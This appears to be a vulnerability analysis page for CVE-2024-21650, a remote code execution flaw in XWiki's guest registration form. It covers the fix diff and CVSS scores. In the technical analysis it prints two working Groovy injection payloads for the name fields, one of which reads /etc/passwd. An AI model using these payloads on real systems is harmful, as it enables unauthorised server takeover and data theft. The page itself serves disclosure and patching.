Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
2

CVE-2024-21650

Disclosure Date: January 08, 2024
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Discovery
Techniques
Validation
Validated
Execution
Techniques
Validation
Validated
Validated
Validated
Persistence
Techniques
Validation
Validated

Description

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. XWiki is vulnerable to a remote code execution (RCE) attack through its user registration feature. This issue allows an attacker to execute arbitrary code by crafting malicious payloads in the “first name” or “last name” fields during user registration. This impacts all installations that have user registration enabled for guests. This vulnerability has been patched in XWiki 14.10.17, 15.5.3 and 15.8 RC1.

Add Assessment

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Overview

XWiki is a Java-based, highly customizable and extensible enterprise-level Wiki platform, offering cross-database support, a powerful plugin system, a flexible template engine, and comprehensive security management, suitable for knowledge management and collaboration across various business needs.

This vulnerability, identified as XWIKI-21173, is a critical remote code execution (RCE) vulnerability present in the user registration process of XWiki. Specifically, it allows attackers to insert malicious scripts in the “name” field during user registration, which are subsequently executed on the server, potentially leading to unauthorized data access or system control. This vulnerability exposes a security flaw in XWiki’s handling of user input and script execution, posing a serious threat to the overall system security and necessitates immediate remediation to protect user data and system integrity.

Technical Analysis

In RegistrationConfig.xml, user inputs such as register_first_name and register_last_name were directly embedded into the registration success message, without appropriate sanitization or escaping. Attackers could inject malicious Groovy scripts through the registration form. When these scripts were executed on the server, they could trigger arbitrary commands, resulting in a remote code execution (RCE) vulnerability.

<registrationSuccessMessage>#set($fullName = "$request.get('register_first_name') $request.get('register_last_name')")
{{info}}$services.localization.render('core.register.successful', ["[[$fullName&gt;&gt;$userSpace$userName]]", $userName]){{/info}}</registrationSuccessMessage>

For this, we can generate the following payload based on the original configuration.

  • ]]{{/html}}{{async}}{{groovy}}"touch /tmp/success".execute().waitFor(){{/groovy}}{{/async}}
  • ]]{{/html}}{{async}}{{groovy}}throw new Exception("cat /etc/passwd".execute().text){{/groovy}}{{/async}}

Firstly, ]]{{/html}} is used to end any previously started HTML rendering. Following this, the {{async}} tag begins an asynchronous code block, meaning the subsequent code will run asynchronously, not blocking the rest of the page. The {{groovy}} tag indicates that the following code is written in the Groovy language. Finally, the {{/groovy}}{{/async}} tags conclude the Groovy script block and the asynchronous block.

The modifications made to the RegistrationConfig.xml file in the GitHub commit for XWIKI-21173 significantly enhance the security and accuracy of the registration success message within XWiki. By shifting to a more secure method of constructing user links using $xwiki.getUserName and employing $services.localization.render for message templating, these changes mitigate potential vulnerabilities such as code injection. This approach not only ensures the safe embedding of user-generated content but also supports multilingual environments, demonstrating a commitment to improving both the security and versatility of the XWiki platform.

git show b290bfd573c
...omitted...

diff --git a/xwiki-platform-core/xwiki-platform-administration/xwiki-platform-administration-ui/src/main/resources/XWiki/RegistrationConfig.xml b/xwiki-platform-core/xwiki-platform-administration/xwiki-platform-administration-ui/src/main/resources/XWiki/RegistrationConfig.xml
index ae1e3b1d9a3..640c8d1bd36 100644
--- a/xwiki-platform-core/xwiki-platform-administration/xwiki-platform-administration-ui/src/main/resources/XWiki/RegistrationConfig.xml
+++ b/xwiki-platform-core/xwiki-platform-administration/xwiki-platform-administration-ui/src/main/resources/XWiki/RegistrationConfig.xml
@@ -555,8 +555,9 @@
<passwordRuleOneUpperCaseEnabled>0</passwordRuleOneUpperCaseEnabled>
</property>
<property>
  -      <registrationSuccessMessage>#set($fullName = "$request.get('register_first_name') $request.get('register_last_name')")
  -{{info}}$services.localization.render('core.register.successful', ["[[$fullName&gt;&gt;$userSpace$userName]]", $userName]){{/info}}</registrationSuccessMessage>
  +      <registrationSuccessMessage>#set($message = $services.localization.render('core.register.successful', 'xwiki/2.1', ['USERLINK', $userName]))
  +#set($userLink = $xwiki.getUserName("$userSpace$userName"))
  +{{info}}$message.replace('USERLINK', "{{html clean=false}}$userLink{{/html}}"){{/info}}</registrationSuccessMessage>

Reference

  1. https://jira.xwiki.org/browse/XWIKI-21173
  2. https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rj7p-xjv7-7229
  3. https://github.com/xwiki/xwiki-platform/commit/b290bfd573c6f7db6cc15a88dd4111d9fcad0d31
  4. https://attackerkb.com/topics/Hn4W1casCs/cve-2024-21650
  5. https://www.xwiki.org/xwiki/bin/view/Documentation/UserGuide/Features/XWikiSyntax/?syntax=2.1&section=Macros
  6. https://extensions.xwiki.org/xwiki/bin/view/Extension/Localization/Scripting/
CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • xwiki

Products

  • xwiki

Additional Info

Technical Analysis